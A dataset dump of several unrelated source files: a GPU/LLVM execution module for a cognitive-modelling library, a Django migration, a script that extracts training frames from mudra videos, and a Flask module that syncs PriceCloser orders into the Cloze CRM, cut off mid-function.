if ctypes.sizeof(data) == 0:
return bytearray(b'aaaa')
return bytearray(data)
def upload_ctype(self, data):
self._uploaded_bytes += ctypes.sizeof(data)
return jit_engine.pycuda.driver.to_device(self._get_ctype_bytes(data))
def download_ctype(self, source, ty):
self._downloaded_bytes += ctypes.sizeof(ty)
out_buf = bytearray(ctypes.sizeof(ty))
jit_engine.pycuda.driver.memcpy_dtoh(out_buf, source)
return ty.from_buffer(out_buf)
def __getattr__(self, attribute):
if not attribute.startswith("_cuda"):
return getattr(super(), attribute)
private_attr = "_buffer" + attribute
if getattr(self, private_attr) is None:
new_buffer = self.upload_ctype(getattr(self, attribute[5:]))
setattr(self, private_attr, new_buffer)
return getattr(self, private_attr)
@property
def _cuda_out_buf(self):
if self.__cuda_out_buf is None:
size = ctypes.sizeof(self._vo_ty)
self.__cuda_out_buf = jit_engine.pycuda.driver.mem_alloc(size)
return self.__cuda_out_buf
def cuda_execute(self, variable):
# Create input parameter
new_var = np.asfarray(variable)
data_in = jit_engine.pycuda.driver.In(new_var)
self._uploaded_bytes += new_var.nbytes
self._bin_func.cuda_call(self._cuda_param_struct,
self._cuda_context_struct,
data_in, self._cuda_out_buf,
threads=len(self._execution_ids))
# Copy the result from the device
ct_res = self.download_ctype(self._cuda_out_buf, self._vo_ty)
return _convert_ctype_to_python(ct_res)
class FuncExecution(CUDAExecution):
def __init__(self, component, execution_ids=[None]):
super().__init__()
self._bin_func = component._llvmBinFunction
self._execution_ids = execution_ids
self._component = component
par_struct_ty, ctx_struct_ty, vi_ty, vo_ty = self._bin_func.byref_arg_types
if len(execution_ids) > 1:
self._bin_multirun = self._bin_func.get_multi_run()
par_struct_ty = par_struct_ty * len(execution_ids)
ctx_struct_ty = ctx_struct_ty * len(execution_ids)
vo_ty = vo_ty * len(execution_ids)
vi_ty = vi_ty * len(execution_ids)
par_initializer = (component._get_param_initializer(ex_id) for ex_id in execution_ids)
ctx_initializer = (component._get_context_initializer(ex_id) for ex_id in execution_ids)
self.__param_struct = par_struct_ty(*par_initializer)
self.__context_struct = ctx_struct_ty(*ctx_initializer)
self._ct_len = ctypes.c_int(len(execution_ids))
self._ct_vo = vo_ty()
self._vi_ty = vi_ty
def _get_compilation_param(self, name, initializer, arg, execution_id):
param = getattr(self._component._compilation_data, name)
struct = param.get(execution_id)
if struct is None:
initializer = getattr(self._component, initializer)(execution_id)
struct_ty = self._bin_func.byref_arg_types[arg]
struct = struct_ty(*initializer)
param.set(struct, execution_context=execution_id)
return struct
@property
def _param_struct(self):
if len(self._execution_ids) > 1:
return self.__param_struct
return self._get_compilation_param('parameter_struct', '_get_param_initializer', 0, self._execution_ids[0])
@property
def _context_struct(self):
if len(self._execution_ids) > 1:
return self.__context_struct
return self._get_compilation_param('context_struct', '_get_context_initializer', 1, self._execution_ids[0])
def execute(self, variable):
new_variable = np.asfarray(variable)
if len(self._execution_ids) > 1:
# wrap_call casts the arguments so we only need contiguaous data
# layout
ct_vi = np.ctypeslib.as_ctypes(new_variable)
self._bin_multirun.wrap_call(self._param_struct,
self._context_struct,
ct_vi, self._ct_vo, self._ct_len)
else:
ct_vi = new_variable.ctypes.data_as(ctypes.POINTER(self._vi_ty))
self._bin_func(ctypes.byref(self._param_struct),
ctypes.byref(self._context_struct),
ct_vi, ctypes.byref(self._ct_vo))
return _convert_ctype_to_python(self._ct_vo)
class MechExecution(FuncExecution):
def execute(self, variable):
# convert to 3d. we always assume that:
# a) the input is vector of input states
# b) input states take vector of projection outputs
# c) projection output is a vector (even 1 element vector)
new_var = np.asfarray([np.atleast_2d(x) for x in variable])
return super().execute(new_var)
class CompExecution(CUDAExecution):
def __init__(self, composition, execution_ids = [None]):
super().__init__(buffers=['context_struct', 'param_struct', 'data_struct', 'conditions'])
self._composition = composition
self._execution_ids = execution_ids
self.__bin_exec_func = None
self.__bin_exec_multi_func = None
self.__bin_func = None
self.__bin_run_func = None
self.__bin_run_multi_func = None
self.__debug_env = debug_env
self.__frozen_vals = None
# TODO: Consolidate these
if len(execution_ids) > 1:
# At least the input_CIM wrapper should be generated
input_cim_fn = composition._get_node_wrapper(composition.input_CIM)._llvm_function
# Input structures
# TODO: Use the compiled version to get these
c_context = _convert_llvm_ir_to_ctype(input_cim_fn.args[0].type.pointee)
c_param = _convert_llvm_ir_to_ctype(input_cim_fn.args[1].type.pointee)
c_data = _convert_llvm_ir_to_ctype(input_cim_fn.args[3].type.pointee)
c_context = c_context * len(execution_ids)
c_param = c_param * len(execution_ids)
c_data = c_data * len(execution_ids)
ctx_initializer = (composition._get_context_initializer(ex_id) for ex_id in execution_ids)
par_initializer = (composition._get_param_initializer(ex_id) for ex_id in execution_ids)
data_initializer = (composition._get_data_initializer(ex_id) for ex_id in execution_ids)
# Instantiate structures
self.__context_struct = c_context(*ctx_initializer)
self.__param_struct = c_param(*par_initializer)
self.__data_struct = c_data(*data_initializer)
self.__conds = None
self._ct_len = ctypes.c_int(len(execution_ids))
@property
def _bin_func(self):
if self.__bin_func is not None:
assert len(self._execution_ids) == 1
return self.__bin_func
if self.__bin_exec_func is not None:
return self.__bin_exec_func
if self.__bin_run_func is not None:
return self.__bin_run_func
assert False, "Binary function not set for execution!"
def _set_bin_node(self, node):
assert node in self._composition._all_nodes
self.__bin_func = self._composition._get_bin_node(node)
@property
def _conditions(self):
if len(self._execution_ids) > 1:
if self.__conds is None:
cond_type = self._bin_func.byref_arg_types[4] * len(self._execution_ids)
gen = helpers.ConditionGenerator(None, self._composition)
cond_initializer = (gen.get_condition_initializer() for _ in self._execution_ids)
self.__conds = cond_type(*cond_initializer)
return self.__conds
conds = self._composition._compilation_data.scheduler_conditions.get(self._execution_ids[0])
if conds is None:
cond_type = self._bin_func.byref_arg_types[4]
gen = helpers.ConditionGenerator(None, self._composition)
cond_initializer = gen.get_condition_initializer()
conds = cond_type(*cond_initializer)
self._composition._compilation_data.scheduler_conditions.set(conds, execution_context=self._execution_ids[0])
return conds
def _get_compilation_param(self, name, initializer, arg, execution_id):
param = getattr(self._composition._compilation_data, name)
struct = param.get(execution_id)
if struct is None:
initializer = getattr(self._composition, initializer)(execution_id)
struct_ty = self._bin_func.byref_arg_types[arg]
struct = struct_ty(*initializer)
param.set(struct, execution_context=execution_id)
return struct
@property
def _param_struct(self):
if len(self._execution_ids) > 1:
return self.__param_struct
return self._get_compilation_param('parameter_struct', '_get_param_initializer', 1, self._execution_ids[0])
@property
def _context_struct(self):
if len(self._execution_ids) > 1:
return self.__context_struct
return self._get_compilation_param('context_struct', '_get_context_initializer', 0, self._execution_ids[0])
@property
def _data_struct(self):
if len(self._execution_ids) > 1:
return self.__data_struct
# Run wrapper changed argument order
arg = 2 if len(self._bin_func.byref_arg_types) > 5 else 3
return self._get_compilation_param('data_struct', '_get_data_initializer', arg, self._execution_ids[0])
@_data_struct.setter
def _data_struct(self, data_struct):
if len(self._execution_ids) > 1:
self.__data_struct = data_struct
else:
self._composition._compilation_data.data_struct.set(data_struct, execution_context = self._execution_ids[0])
def _extract_node_struct(self, node, data):
field = data._fields_[0][0]
res_struct = getattr(data, field)
index = self._composition._get_node_index(node)
field = res_struct._fields_[index][0]
res_struct = getattr(res_struct, field)
return _convert_ctype_to_python(res_struct)
def extract_node_struct(self, node, struct):
if len(self._execution_ids) > 1:
return [self._extract_node_struct(node, struct[i]) for i, _ in enumerate(self._execution_ids)]
else:
return self._extract_node_struct(node, struct)
def extract_frozen_node_output(self, node):
return self.extract_node_struct(node, self.__frozen_vals)
def extract_node_output(self, node):
return self.extract_node_struct(node, self._data_struct)
def extract_node_state(self, node):
return self.extract_node_struct(node, self._context_struct)
def extract_node_params(self, node):
return self.extract_node_struct(node, self._param_struct)
def insert_node_output(self, node, data):
my_field_name = self._data_struct._fields_[0][0]
my_res_struct = getattr(self._data_struct, my_field_name)
index = self._composition._get_node_index(node)
node_field_name = my_res_struct._fields_[index][0]
setattr(my_res_struct, node_field_name, _tupleize(data))
def _get_input_struct(self, inputs):
origins = self._composition.get_nodes_by_role(NodeRole.INPUT)
# Either node execute or composition execute, either way the
# input_CIM should be ready
bin_input_node = self._composition._get_bin_node(self._composition.input_CIM)
c_input = bin_input_node.byref_arg_types[2]
if len(self._execution_ids) > 1:
c_input = c_input * len(self._execution_ids)
# Read provided input data and separate each input state
if len(self._execution_ids) > 1:
input_data = []
for inp in inputs:
input_data.append(([x] for m in origins for x in inp[m]))
else:
input_data = ([x] for m in origins for x in inputs[m])
return c_input(*_tupleize(input_data))
def freeze_values(self):
self.__frozen_vals = copy.deepcopy(self._data_struct)
def execute_node(self, node, inputs = None, execution_id=None):
# We need to reconstruct the inputs here if they were not provided.
# This happens during node execution of nested compositions.
if inputs is None and node is self._composition.input_CIM:
# This assumes origin mechanisms are in the same order as
# CIM input states
origins = (n for n in self._composition.get_nodes_by_role(NodeRole.INPUT) for istate in n.input_states)
input_data = ([proj.parameters.value.get(execution_id) for proj in state.all_afferents] for state in node.input_states)
inputs = defaultdict(list)
for n, d in zip(origins, input_data):
inputs[n].append(d[0])
if inputs is not None:
inputs = self._get_input_struct(inputs)
assert inputs is not None or node is not self._composition.input_CIM
# Set bin node to make sure self._*struct works as expected
self._set_bin_node(node)
if node is not self._composition.input_CIM and self.__frozen_vals is None:
self.freeze_values()
self._bin_func.wrap_call(self._context_struct, self._param_struct,
inputs, self.__frozen_vals, self._data_struct)
if "comp_node_debug" in self.__debug_env:
print("RAN: {}. CTX: {}".format(node, self.extract_node_state(node)))
print("RAN: {}. Params: {}".format(node, self.extract_node_params(node)))
print("RAN: {}. Results: {}".format(node, self.extract_node_output(node)))
@property
def _bin_exec_func(self):
if self.__bin_exec_func is None:
self.__bin_exec_func = self._composition._get_bin_execution()
return self.__bin_exec_func
@property
def _bin_exec_multi_func(self):
if self.__bin_exec_multi_func is None:
self.__bin_exec_multi_func = self._bin_exec_func.get_multi_run()
return self.__bin_exec_multi_func
def execute(self, inputs):
inputs = self._get_input_struct(inputs)
if len(self._execution_ids) > 1:
self._bin_exec_multi_func.wrap_call(self._context_struct, self._param_struct,
inputs, self._data_struct, self._conditions, self._ct_len)
else:
self._bin_exec_func.wrap_call(self._context_struct, self._param_struct,
inputs, self._data_struct, self._conditions)
def cuda_execute(self, inputs):
# Create input buffer
inputs = self._get_input_struct(inputs)
data_in = self.upload_ctype(inputs)
self._bin_exec_func.cuda_call(self._cuda_context_struct, self._cuda_param_struct,
data_in, self._cuda_data_struct, self._cuda_conditions,
threads=len(self._execution_ids))
# Copy the data struct from the device
self._data_struct = self.download_ctype(self._cuda_data_struct, self._vo_ty)
# Methods used to accelerate "Run"
def _get_run_input_struct(self, inputs, num_input_sets):
origins = self._composition.get_nodes_by_role(NodeRole.INPUT)
input_type = self._composition._get_bin_run().byref_arg_types[3]
c_input = input_type * num_input_sets
if len(self._execution_ids) > 1:
c_input = c_input * len(self._execution_ids)
run_inputs = []
for inp in inputs:
run_inps = []
# Extract inputs for each trial
for i in range(num_input_sets):
run_inps.append([])
for m in origins:
run_inps[i] += [[v] for v in inp[m][i]]
run_inputs.append(run_inps)
else:
run_inputs = []
# Extract inputs for each trial
for i in range(num_input_sets):
run_inputs.append([])
for m in origins:
run_inputs[i] += [[v] for v in inputs[m][i]]
return c_input(*_tupleize(run_inputs))
@property
def _bin_run_func(self):
if self.__bin_run_func is None:
self.__bin_run_func = self._composition._get_bin_run()
return self.__bin_run_func
@property
def _bin_run_multi_func(self):
if self.__bin_run_multi_func is None:
self.__bin_run_multi_func = self._bin_run_func.get_multi_run()
return self.__bin_run_multi_func
def run(self, inputs, runs, num_input_sets):
inputs = self._get_run_input_struct(inputs, num_input_sets)
ct_vo = self._bin_run_func.byref_arg_types[4] * runs
if len(self._execution_ids) > 1:
ct_vo = ct_vo * len(self._execution_ids)
outputs = ct_vo()
runs_count = ctypes.c_int(runs)
input_count = ctypes.c_int(num_input_sets)
if len(self._execution_ids) > 1:
self._bin_run_multi_func.wrap_call(self._context_struct, self._param_struct,
self._data_struct, inputs, outputs,
runs_count, input_count, self._ct_len)
else:
self._bin_run_func.wrap_call(self._context_struct, self._param_struct,
self._data_struct, inputs, outputs,
runs_count, input_count)
return _convert_ctype_to_python(outputs)
def cuda_run(self, inputs, runs, num_input_sets):
# Create input buffer
inputs = self._get_run_input_struct(inputs, num_input_sets)
data_in = self.upload_ctype(inputs)
# Create output buffer
output_type = (self._bin_run_func.byref_arg_types[4] * runs)
if len(self._execution_ids) > 1:
output_type = output_type * len(self._execution_ids)
output_size = ctypes.sizeof(output_type)
data_out = jit_engine.pycuda.driver.mem_alloc(output_size)
runs_count = jit_engine.pycuda.driver.In(np.int32(runs))
input_count = jit_engine.pycuda.driver.In(np.int32(num_input_sets))
self._uploaded_bytes += 8 # runs_count + input_count
self._bin_run_func.cuda_call(self._cuda_context_struct,
self._cuda_param_struct,
self._cuda_data_struct,
data_in, data_out, runs_count, input_count,
threads=len(self._execution_ids))
# Copy the data struct from the device
ct_out = self.download_ctype(data_out, output_type)
return _convert_ctype_to_python(ct_out)
| 1.773438 | 2 |
coursinary_app/migrations/0009_auto_20200510_0741.py | ranybal17/Coursinary | 0 | 12764320 | <reponame>ranybal17/Coursinary<gh_stars>0
# Generated by Django 3.0.6 on 2020-05-10 07:41
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('coursinary_app', '0008_auto_20200510_0739'),
]
operations = [
migrations.AlterField(
model_name='course',
name='code',
field=models.CharField(max_length=10),
),
migrations.AlterField(
model_name='course',
name='course_number',
field=models.CharField(max_length=5),
),
migrations.AlterField(
model_name='subject',
name='code',
field=models.CharField(max_length=10),
),
]
| 1.640625 | 2 |
offline_train.py | nivedithaparthasarathy50/mudrarecognitionDec242021 | 0 | 12764321 | import cv2
import argparse
import os
data={"label_name":[],"no_of_video":[], "overall_fps":[]}
def TrainingVideoFiles(video_location, video_name):
files = [f for f in os.listdir(video_location)]
data['label_name'].append(video_name)
data['no_of_video'].append(len(files))
fps=0
try:
os.mkdir("tf_files/mudras/"+video_name)
except:
print("Directory Already Exists")
for index,file in enumerate(files):
vidcap = cv2.VideoCapture(video_location+"/"+file)
success, image = vidcap.read()
count = 1
while success:
cv2.imwrite("./tf_files/mudras/%s/image%d_%d.jpg" % (video_name,index, count), image)
success, image = vidcap.read()
print('Saved image',video_name,index,"-", count, end="\r")
count += 1
fps+=count
data['overall_fps'].append(fps)
if __name__ == '__main__':
for file in os.listdir("./offline_training"):
TrainingVideoFiles("./offline_training/"+file, file)
print("\n\n%12s|%12s|%12s"%("Label Name", "No of Videos", "Overall Fps"))
print("%12s|%12s|%12s"%("="*12,"="*12, "="*12))
for label, vid, fps in zip(data['label_name'],data['no_of_video'], data['overall_fps']):
print("%-12s|%12d|%12d"%(label, vid, fps))
input("Press any key to exit...")
| 2.59375 | 3 |
app/providers/cloze.py | nerevu/rorschach | 0 | 12764322 | <filename>app/providers/cloze.py<gh_stars>0
# -*- coding: utf-8 -*-
""" app.api
~~~~~~~~~~~~
Provides endpoints for pulling orders from OpenCart (pricecloser.com) into Cloze.
Live Site:
Endpoints:
Visit the live site for a list of all available endpoints
"""
import json
import os
import time
from datetime import date, datetime, timedelta
from itertools import cycle, dropwhile, islice
import requests
from flask import Blueprint, Flask, current_app as app, request, url_for
from flask.views import MethodView
from app import cache
from app.utils import get_links, get_request_base, jsonify, parse
from config import Config
blueprint = Blueprint("API", __name__)
# these don't change based on mode, so no need to do app.config['...']
RESTADMIN_ID = Config.OPENCART_RESTADMIN_ID
PREFIX = Config.API_URL_PREFIX
CLOZE_BASE_URL = Config.CLOZE_BASE_URL
CLOZE_EMAIL = Config.CLOZE_EMAIL
CLOZE_API_KEY = Config.CLOZE_API_KEY
CLOZE_ACCOUNT_MAP = Config.CLOZE_ACCOUNT_MAP
CLOZE_STAGES = Config.CLOZE_STAGES
PRICECLOSER_BASE_URL = Config.PRICECLOSER_BASE_URL
DATE_FORMAT = Config.DATE_FORMAT
CLOZE_AUTH_PARAMS = {"user": CLOZE_EMAIL, "api_key": CLOZE_API_KEY}
CLOZE_STAGES_MAPPING = {
"people": {
# TODO: always set the person to active (for create and update).
# Come up with a better way to assign people stages sometime.
# Currently, the issue is that a person can have a pending order
# and a different processed order, so which status should he/she be?
# The first or the second?
"processed": CLOZE_STAGES["people"]["active"],
"pending": CLOZE_STAGES["people"]["active"],
},
"projects": {
"processed": CLOZE_STAGES["projects"]["done"],
"pending": CLOZE_STAGES["projects"]["potential"],
# TODO: couldn't find where these numbers are defined in PriceCloser. Keep looking.
# These are order_status_ids that were deduced by looking at the orders
# that are retrieved from the REST Admin API
"15": CLOZE_STAGES["projects"]["done"], # 15 (processed)
"1": CLOZE_STAGES["projects"]["potential"], # 1 (pending)
},
}
PRICECLOSER_APPLINK_BASE_URL = "https://pricecloser.com/admin/index.php?route="
PRICECLOSER_HEADERS = {
"X-Oc-Restadmin-Id": RESTADMIN_ID,
# OpenCart will send a 406 (Mod_Security) error without a user agent
"User-Agent": "PostmanRuntime/7.20.1",
}
HEADERS = {"Accept": "application/json"}
SOURCE = "pricecloser.com"
SHARE_TO_TEAMS = Config.SHARE_TO_TEAMS
ROUTE_TIMEOUT = Config.ROUTE_TIMEOUT
LRU_CACHE_SIZE = Config.LRU_CACHE_SIZE
FAILURE_TTL = Config.FAILURE_TTL
share_to = import_to = "team" if SHARE_TO_TEAMS else ""
def post_to_cloze(resource, verb, headers=None, **kwargs):
url = f"{CLOZE_BASE_URL}/{resource}/{verb}"
name = kwargs["name"]
headers = headers or {}
params = {**CLOZE_AUTH_PARAMS, "team": str(SHARE_TO_TEAMS).lower()}
request_headers = {**HEADERS, **headers, "Content-Type": "application/json"}
data = json.dumps(kwargs)
r = requests.post(url, data=data, params=params, headers=request_headers)
resp = r.json()
okay = not resp["errorcode"]
if okay:
message = f"Successfully {verb}d {resource} '{name}'!"
status_code = 200
result = kwargs
else:
message = f"Error trying to {verb} {resource} '{name}'. "
message += resp["message"]
status_code = 500 if r.status_code == 200 else r.status_code
result = {}
return {
"ok": okay,
"message": message,
"status_code": status_code,
"result": result,
}
def get_from_cloze(resource, result_field, **kwargs):
url = f"{CLOZE_BASE_URL}/{resource}/get"
name = kwargs["uniqueid"]
params = {**CLOZE_AUTH_PARAMS, **kwargs}
r = requests.get(url, params=params)
resp = r.json()
okay = not resp["errorcode"]
if okay:
message = f"Successfully got {resource} '{name}'!"
result = resp[result_field]
status_code = 200
else:
message = f"Error trying to get {resource} '{name}'. "
message += resp["message"]
result = {}
status_code = 500 if r.status_code == 200 else r.status_code
return {
"ok": not resp["errorcode"],
"message": message,
"result": result,
"status_code": status_code,
}
def gen_manufacturers(products):
for product in products:
product_url = f"{PRICECLOSER_BASE_URL}/products/{product['product_id']}"
r = requests.get(product_url, headers=PRICECLOSER_HEADERS)
resp = r.json()
if not resp["error"]:
yield resp["data"]["manufacturer"]
def get_stage(status, cloze_area):
def_stage = CLOZE_STAGES[cloze_area]["active"]
return CLOZE_STAGES_MAPPING[cloze_area].get(status.lower(), def_stage)
def get_cloze_customer(order):
kwargs = {"uniqueid": order["email"], "team": str(SHARE_TO_TEAMS).lower()}
return get_from_cloze("people", "person", **kwargs)
def get_cloze_order(order):
kwargs = {
"uniqueid": f"{SOURCE}:{order['order_id']}",
"team": str(SHARE_TO_TEAMS).lower(),
}
return get_from_cloze("projects", "project", **kwargs)
def create_customer(**kwargs):
return post_to_cloze("people", "create", **kwargs)
def create_order(**kwargs):
return post_to_cloze("projects", "create", **kwargs)
def update_customer(**kwargs):
return post_to_cloze("people", "update", **kwargs)
def update_order(**kwargs):
return post_to_cloze("projects", "update", **kwargs)
def gen_order_ids(cloze_order):
yield f"{SOURCE}:{cloze_order['name']}"
if cloze_order.get("direct"):
yield f"direct:{cloze_order['direct']}"
def get_order_value(cloze_order):
return {
"name": cloze_order["name"],
"type": "project",
"ids": list(gen_order_ids(cloze_order)),
}
def get_order_data(cloze_order):
return {
"id": CLOZE_ACCOUNT_MAP["orders_link"],
"type": "projects",
"value": get_order_value(cloze_order),
}
def get_order_status(order):
# defaults to pending status (order_status_id=1)
return order.get("order_status", str(order.get("order_status_id", 1)))
def create_customer_data(pricecloser_order, cloze_area):
customer_id, email_is_id = get_customer_id(pricecloser_order)
order_id = pricecloser_order["order_id"]
order_status = get_order_status(pricecloser_order)
first_name = pricecloser_order["payment_firstname"]
last_name = pricecloser_order["payment_lastname"]
customer_data = {
"name": f"{first_name} {last_name}",
"headline": f"PriceCloser Customer - Order {order_id}",
"stage": get_stage(order_status, cloze_area),
# shareTo must be set to team if you want your team
# to be able to see this customer
"shareTo": share_to,
"segment": CLOZE_ACCOUNT_MAP["customer_segment"],
"phones": [
{
# Telephone numbers are dropped if they are not a valid telephone number for the US.
# This is based on a Google common library for checking phone numbers.
"value": pricecloser_order["telephone"]
}
],
"emails": [
{
# Cloze automatically tries to determine if an email address is
# a bulk email (like <EMAIL>) and it doesn't add it
# if it determines that it's not a real-ish email address.
"value": pricecloser_order["email"]
}
],
"customFields": [
{
"id": CLOZE_ACCOUNT_MAP["lead_source"],
"type": "keywords",
"value": "website",
},
],
"appLinks": [
{
"source": SOURCE, # must always be the same
"uniqueid": customer_id,
"label": "PriceCloser Customer",
"url": f"{PRICECLOSER_APPLINK_BASE_URL}customer/customer/edit&customer_id={customer_id}",
}
],
}
if email_is_id:
url = f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}"
customer_data["appLinks"][0]["url"] = url
return customer_data
def customer_to_order_data(pricecloser_order, customer):
# Multiple customers can't be associated with one order,
# so we are ok to replace the value of the "customer" customField.
order_id = str(pricecloser_order["order_id"])
return {
"importTo": import_to,
"name": order_id,
"customFields": [
{
"id": CLOZE_ACCOUNT_MAP["customer_link"],
"type": "contact",
"value": {
"name": customer["name"],
"email": pricecloser_order["email"],
},
}
],
"appLinks": [
{
"source": SOURCE, # must always be the same
"uniqueid": order_id,
"label": "PriceCloser Order",
"url": f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}",
}
],
}
def create_order_data(pricecloser_order, manufacturers, customer=None):
# map order_status to cloze stage
order_status = get_order_status(pricecloser_order)
stage = get_stage(order_status, "projects")
order_id = str(pricecloser_order["order_id"])
customer_id = get_customer_id(pricecloser_order)[0]
date_added = pricecloser_order["date_added"]
total = pricecloser_order["total"]
custom_fields = [
{"id": CLOZE_ACCOUNT_MAP["value"], "type": "currency", "value": total},
{"id": CLOZE_ACCOUNT_MAP["amount"], "type": "decimal", "value": total},
{"id": CLOZE_ACCOUNT_MAP["order_num"], "type": "text", "value": order_id},
{
"id": CLOZE_ACCOUNT_MAP["manufacturers"],
"type": "text",
"value": manufacturers,
},
]
if CLOZE_ACCOUNT_MAP.get("planned_start"):
custom_fields.append(
{
"id": CLOZE_ACCOUNT_MAP["planned_start"],
"type": "date",
"value": date_added,
}
)
if CLOZE_ACCOUNT_MAP.get("customer_num"):
custom_fields.append(
{
"id": CLOZE_ACCOUNT_MAP["customer_num"],
"type": "text",
"value": customer_id,
}
)
if customer:
custom_fields.append(
{
"id": CLOZE_ACCOUNT_MAP["customer_link"],
"type": "contact",
"value": {
"name": customer["name"],
"email": pricecloser_order["email"],
},
}
)
# get request parameters
order_data = {
"name": order_id,
"summary": manufacturers,
"importTo": import_to,
# The project will only show up under your personal projects if you are a member of the `deal team`.
# You can set `deal team` members by setting the projectTeam field to an array of email addresses
# (e.g. "projectTeam": ["<EMAIL>", "<EMAIL>"]).
"projectTeam": [],
"stage": stage,
"segment": CLOZE_ACCOUNT_MAP["project_segment"],
"createdDate": date_added,
"customFields": custom_fields,
"appLinks": [
{
"source": SOURCE, # must always be the same
"uniqueid": order_id, # uniqueid must be a string
"label": "PriceCloser Order",
"url": f"{PRICECLOSER_APPLINK_BASE_URL}sale/order/info&order_id={order_id}",
}
],
}
return order_data
def get_customer_id(pricecloser_order):
email_is_id = pricecloser_order["customer_id"] in {"0", 0}
key = "email" if email_is_id else "customer_id"
customer_id = pricecloser_order[key]
return str(customer_id), email_is_id
def add_customer(pricecloser_order):
# check if customer exists, create if doesn't
customer_response = get_cloze_customer(pricecloser_order)
if customer_response["ok"]:
# TODO: check that retrieved name is the same as pricecloser name (update if not)
response = customer_response
else:
customer_data = create_customer_data(pricecloser_order, "people")
response = create_customer(**customer_data)
response["result"] = customer_data if response["ok"] else {}
return response
def add_order(pricecloser_order, customer):
# check if order exists, create if doesn't
order_response = get_cloze_order(pricecloser_order)
okay = order_response["ok"]
if okay and customer:
# make sure customer was added to order, add if not
possible_ids = {
f"direct:{customer.get('direct')}",
pricecloser_order["email"],
f"{SOURCE}:{get_customer_id(pricecloser_order)[0]}",
}
for field in order_response["result"].get("customFields", []):
customer_link = CLOZE_ACCOUNT_MAP["customer_link"]
if field["id"] == customer_link:
if possible_ids.intersection(field["value"]["ids"]):
response = order_response
break
else:
order_data = customer_to_order_data(pricecloser_order, customer)
response = update_order(**order_data)
elif customer:
_manufacturers = gen_manufacturers(pricecloser_order["products"])
manufacturers = ", ".join(set(_manufacturers))
order_data = create_order_data(pricecloser_order, manufacturers, customer)
response = create_order(**order_data)
response["result"] = order_data
else:
response = order_response
response["result"] = {}
return response
def add_order_to_customer(cloze_order, customer):
# check if order is attached to cloze customer, attach if not
order_name = cloze_order["name"]
custom_fields = customer.get("customFields", [])
pairs = enumerate(custom_fields)
fields_by_id = {field["id"]: (pos, field) for pos, field in pairs}
pos, orders = fields_by_id.get(CLOZE_ACCOUNT_MAP["orders_link"], (0, {}))
message = ""
if orders:
unique_order_id = f"{SOURCE}:{order_name}"
for attached_order in orders["value"]:
contains_order_id = unique_order_id in attached_order["ids"]
same_order_name = order_name == attached_order["name"]
if contains_order_id or same_order_name:
contains_order = True
break
else:
contains_order = False
else:
contains_order = False
if orders and not contains_order:
order_value = get_order_value(cloze_order)
customer["customFields"][pos]["value"].append(order_value)
elif not orders:
order_data = get_order_data(cloze_order)
if not customer.get("customFields"):
customer["customFields"] = []
customer["customFields"].append(order_data)
if not contains_order:
customer["shareTo"] = share_to
response = update_customer(**customer)
contains_order = response["ok"]
message = response["message"]
if not response["ok"]:
message += " Please add order manually."
return {"ok": contains_order, "message": message}
def add_customer_and_order(pricecloser_order, sleep=0):
##################################################################
# TODO: The Cloze system doesn't always update people and projects
# before I call the `get person` or `get project` endpoints again.
# This causes updates to either to get overwritten by the next
# project/person that comes from pricecloser. The sleep function
# below has solved the problem, but a more elegant solution should
# eventually be created.
##################################################################
time.sleep(sleep)
customer_response = add_customer(pricecloser_order)
if customer_response["ok"]:
customer = customer_response["result"]
order_response = add_order(pricecloser_order, customer)
if order_response["ok"]:
cloze_order = order_response["result"]
response = add_order_to_customer(cloze_order, customer)
else:
response = order_response
else:
response = customer_response
return response
def get_pc_orders(order_id=None, start=None, end=None):
if order_id:
order_url = f"{PRICECLOSER_BASE_URL}/orders/{order_id}"
end_date = None
else:
# TODO: make sure this is working
end = end or date.today().strftime(DATE_FORMAT)
end_date = datetime.strptime(end, DATE_FORMAT)
next_day = end_date + timedelta(days=1)
pricecloser_end = (next_day).strftime(DATE_FORMAT)
if not start:
num_months_back = app.config["REPORT_MONTHS"]
args = (end_date, num_months_back)
start = get_start_date(*args).strftime(DATE_FORMAT)
order_url = f"{PRICECLOSER_BASE_URL}/orders/details/added_from/{start}/added_to/{pricecloser_end}"
r = requests.get(order_url, headers=PRICECLOSER_HEADERS)
resp = r.json()
result = resp["data"]
okay = not resp["error"]
if okay and order_id:
message = f"Successfully fetched PriceCloser order '{order_id}'"
elif okay:
message = f"Successfully fetched PriceCloser orders from {start} to {pricecloser_end}!"
elif order_id:
message = f"PriceCloser order '{order_id}' not found!"
else:
message = f"No PriceCloser orders from {start} to {pricecloser_end} found!"
if not okay:
message += resp["error"][0]
if okay:
status_code = 200
elif r.status_code == 200:
status_code = 500
else:
status_code = r.status_code
return {
"ok": okay,
"result": result,
"message": message,
"status_code": status_code,
"end_date": end_date,
}
def get_job_response(job):
return {
"job_id": job.id,
"job_status": job.get_status(),
# TODO: this doesn't list the port in when run without app context
"url": url_for(".result", job_id=job.id, _external=True),
"ok": job.get_status() != "failed",
}
def transfer_orders(order_id=None, start=None, end=None, **kwargs):
"""NOTE: The REST Admin API is not inclusive of the end date that a person sends,
so one day is added to the `end` parameter to make this endpoint inclusive.
"""
# If a date range is provided as parameters to this endpoint (start and end),
# then the dates will not be set in the cache. This is because a date range may
# be specified that doesn't bring in orders that were created earlier than this
# date range, and if the cache was set to start after the specified date range,
# this endpoint would never bring in the older orders.
order_response = get_pc_orders(order_id, start, end)
enqueue = kwargs.get("enqueue")
failure_ttl = kwargs.get("failure_ttl", FAILURE_TTL)
if order_response["ok"]:
result = order_response["result"]
if order_id and enqueue:
job = q.enqueue(add_customer_and_order, result, failure_ttl=failure_ttl)
response = get_job_response(job)
elif order_id:
response = add_customer_and_order(result)
else:
num_orders = len(result)
response = {}
for pricecloser_order in result:
order_id = str(pricecloser_order["order_id"])
if cache.get(order_id):
continue
elif enqueue:
job = q.enqueue(
add_customer_and_order,
pricecloser_order,
10,
failure_ttl=failure_ttl,
)
response = get_job_response(job)
else:
response = add_customer_and_order(pricecloser_order, 10)
if response["ok"]:
cache.set(order_id, True)
else:
break
else:
# TODO: think about tracking by order number in the future so
# we don't have to rerun a whole batch of successful orders if
# one fails.
verb = "enqueued" if enqueue else "added"
message = f"Successfully {verb} {num_orders} orders to Cloze."
response["message"] = message
else:
response = order_response
return response
def last_day_of_month(month, year):
"""
>>> last_day_of_month(12, 2020)
31
>>> last_day_of_month(11, 2020)
30
>>> last_day_of_month(10, 2020)
31
>>> last_day_of_month(1, 2020)
31
"""
_year = year + 1 if month == 12 else year
